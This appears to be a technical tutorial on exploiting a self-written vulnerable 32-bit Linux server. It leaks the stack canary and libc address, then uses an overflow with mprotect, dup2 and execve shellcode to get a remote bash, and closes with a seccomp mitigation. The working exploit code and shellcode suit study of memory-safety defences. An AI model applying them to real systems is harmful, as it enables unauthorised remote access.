Described test shows how buffer overflow vulnerability can be exploited to get access to modern x86_32 system running latest Ubuntu, Fedora or CentOS distros.
Stack protection is implemented via inserting random value (canary) on stack right after the function call:
0000136d sock_read: ... 65 a1 14 00 00 00 mov %gs:0x14,%eax 89 45 f4 mov %eax,-0xc(%ebp) 31 c0 xor %eax,%eax
Function variables and buffer memory are reserved after placed canary so if program accidentally writes data above reserved boundaries the code on exit from function detects it:
8b 55 f4 mov -0xc(%ebp),%edx 65 33 15 14 00 00 00 xor %gs:0x14,%edx 74 05 je 13ec sock_read+0x7f e8 64 02 00 00 call 1650 __stack_chk_fail_local
Interesting to note that the %gs:0x14 returns unique value reserved for the thread. %gs is pointing to the thread storage and initialized by OS at process creation time.
To bypass the stack protection based on canaries we need to leak it from the program itself.
Our exploit works only if the piece of address space was stolen (to be precise, when stack memory is leaked where vulnerable application stores important information such as call traces, stack pointers, parameters, etc.) and in addition there is another vulnerability - buffer overflow.
In order to test exploit first let's implement vulnerable program. It's pretty simple: the app open a socket, binds to port 5000 and listen for incoming connection. When new connection occurs attacker first leaks the host data and then exploits buffer overflow as follows:
int sock_read(int connfd) { char buf[8]; int len = 0; read(connfd, &len, sizeof(int)); write(connfd, buf, len); /* memory leak if len > 8 */ len = read(connfd, buf, len); /* buffer overflow if len > 8 */ return len; }
Attacker uses leaked data in order to detect the location of libc library:
->> 0 ->> 0 ->> b98c6e00 --> stack canary ->> 3 ->> 565d5fa0 ->> fffdf5e8 --> EBP ->> 565d358e --> return address ->> 4 --> connfd descriptor ->> 0 ->> 0 ->> 565d340c ->> 1 ->> 565d4008 ->> 3 ->> 4 ->> 565d4008 ->> 565d4012 ->> 0 ->> 88130002 ->> 0 ->> 30303030 ->> 30303030 ->> b98c6e00 -> stack canary ->> fffdf600 ->> 0 ->> 0 ->> f7d46ee5 ->> f7f0f000 ->> f7f0f000 ->> 0 ->> f7d46ee5 --> __libc_start_main+0xF5 ->> 1
Once the necessary information received about __libc_start_main+offset the attacker can calculate libc start address using objdump and libc library from interested distros. For example on Ubuntu 20.04 LTS objdump show the following:
objdump -D /usr/lib32/libc-2.31.so 0001edf0 __libc_start_main@@GLIBC_2.0: 1edf0: f3 0f 1e fb endbr32 1edf4: e8 c4 62 12 00 call 1450bd ... 1eee1: ff 54 24 70 call *0x70(%esp) 1eee5: 83 c4 10 add $0x10,%esp ...
So if you deduct 0x1eee5 - 0x1edf0 it will be 0xf5. It exactly the next instruction after call *0x70(%esp). Then the start of libc address is 0xf7d46ee5 - 0x1eee5 =0xf7d28000.
Since we know the start address of libc we can easily find all other necessary functions addresses such as: execve, dup2 and mprotect. You might be wondering what if the system is unknown and there is customized libc library and offsets are different? In this case you need to gather the more information as possible about used system, however if there is already a memory leak in the program and you can see some pointers on address space of libc you can guess or calculate the start address roughly taking into account that the start address shall always be aligned to PAGE SIZE.
So if there is a libc start address detected then ASLR is not a concern anymore, isn't it?
Important to notice that the canary is unique for the thread which is why you see the same canary value on the stack. It means if there is only one thread running in the program the canary can be leaked in one place and buffer overflow can be exploited in another place of the program.
Now let's implement the exploit itself. The exploit would consist of 2 parts: first part is preparation of the stack to handover control to injected code and second part shellcode itself which passes execution to reverse bash.
So preparation of the stack would include the following:
- Remapping of stack area to make it executable
- Setting up necessary arguments to be used in execve()
* 8 Bytes shall be data for overflowed buffer */ /* STACK CANARY PROTECTION */ shell[2] = pbuf[2]; int libc_start = pbuf[22]; // extract __libc_start_main+0xf5 libc_start -= 0xf5; // deduct offset to __libc_start_main libc_start -= 0x1edf0; // deduct offset from __libc_start_main to libc start int ebp = pbuf[5]; /* EBP */ shell[5] = ebp; // restore EBP /* Start from EBP - 0x3C because shellcode is located at shell[21] - shell[6] = 15 * 4 = 60 or 0x3C */ /* EBP - 0x3C */ shell[6] = libc_start+0x1024d0; // return address: mprotect /* ESP */ int esp = (ebp & 0xfffff000); // STACK address to be mprotect'ed /* EIP */ int eip = ebp; // exec stack /* EBP - 0x38 */ shell[7] = eip; // return address 2 after mprotect exit /* EBP - 0x34 */ shell[8] = esp; // addr to be changed on stack /* EBP - 0x30 */ shell[9] = 0x2000; // 1 page length /* EBP - 0x2C */ shell[10] = 0x7; // wrx /* EBP - 0x28 */ memcpy(&shell[11], "/bin/bash", strlen("/bin/bash")); /* EBP - 0x1C */ memcpy(&shell[14], "-i", strlen("-i")); /* EBP - 0x18 */ shell[15] = ebp - 0x28; /* EBP - 0x14 */ shell[16] = ebp - 0x1C; /* EBP - 0x10 */ shell[17] = 0x0; /* EBP - 0xC */ shell[18] = pbuf[7]; // connfd /* EBP - 0x8 */ shell[19] = libc_start + 0xf5090; // dup2@libc /* EBP - 0x4 */ shell[20] = libc_start + 0xcc180; // execve@libc char shellcode[] = "\x31\xc9\x51\x8d\x45\xf4\x8b\x10\x52\x8d\x5d\xf8\xff\x13\x41\x83\xf9\x03\x75\xee\x6a\x00\x8d\x45\xe8\x50\x8d\x45\xd8\x50\x8d\x45\xfc\xff\x10"; /* EBP - 0x0 */ memcpy(&shell[21], shellcode, sizeof(shellcode));
Magic shellcode is binary code from the following:
31 c9 xor %ecx,%ecx loop: 51 push %ecx 8d 45 f4 lea -0xc(%ebp),%eax 8b 10 mov (%eax),%edx 52 push %edx 8d 5d f8 lea -0x8(%ebp),%ebx ff 13 call *(%ebx) 41 inc %ecx 83 f9 03 cmp $0x3,%ecx 75 ee jne 11c06a 00 push $0x0 8d 45 e8 lea -0x18(%ebp),%eax 50 push %eax 8d 45 d8 lea -0x28(%ebp),%eax 50 push %eax 8d 45 fc lea -0x4(%ebp),%eax ff 10 call *(%eax)
So now let's compile our vulnerable server and run it as follows:
$ make gcc -DX86 -fstack-protector-strong -m32 -o shell-exploit-32 shell-exploit.c $ ./shell-exploit-32
And run our exploit:
$ make gcc -g -m32 -DX86 -o test-exploit-32 test-exploit.c ./test-exploit-32 ->> 0 ->> 0 ... __libc_start_main+0xF5: f7d17ee5 __libc_start: f7cf9000 EBP: ff88e0b8 mprotect: f7dfb4d0 ESP: ff88e000 EIP: ff88e0b8 To run a command as administrator (user "root"), use "sudo command". See "man sudo_root" for details. evg@evg:/home/evg/projects/test$
OK so exploit worked successfully w/o warnings from the operating system on Ubuntu 20.04.
For the test I also installed Fedora and CentOS and made sure that SeLinux is enabled and works in enforced mode.
[evg@localhost evg]$ cat /etc/fedora-release Fedora release 32 (Thirty Two) [evg@localhost evg]$ uname -a Linux localhost.localdomain 5.6.6-300.fc32.x86_64 #1 SMP Tue Apr 21 13:44:19 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux [evg@localhost evg]$ /sbin/getenforce /sbin/getenforce Enforcing
The exploit still worked and auditd didn't report any issues. It turned out that in order to setup full protection of the system you need to write specific rules as for auditd and selinux. By default the system doesn't monitor for any suspicious calls such as mprotect in running program.
The solution for developers might be to use seccomp() with restriction of executing only allowed syscalls:
void install_syscall_filter() { struct sock_filter filter[] = { VALIDATE_ARCHITECTURE, EXAMINE_SYSCALL, ALLOW_SYSCALL(read), ALLOW_SYSCALL(write), ALLOW_SYSCALL(socket), ALLOW_SYSCALL(socketcall), ALLOW_SYSCALL(setsockopt), ALLOW_SYSCALL(bind), ALLOW_SYSCALL(listen), ALLOW_SYSCALL(accept4), KILL_PROCESS, }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), .filter = filter, }; assert(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == 0); assert(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == 0); }
Now the system kills the process when mprotect is called:
$ dmesg [ 4718.012307] audit: type=1326 audit(1593718618.529:4): auid=1000 uid=1000 gid=1000 ses=3 subj=kernel pid=102687 comm="shell-exploit" exe="/home/evg/projects/test/shell-exploit" sig=31 arch=40000003 syscall=125 compat=1 ip=0xf7f48b49 code=0x0 evg@evg:~/projects/test$ grep 125 /usr/include/x86_64-linux-gnu/asm/unistd_32.h #define __NR_mprotect 125
All example code is located here.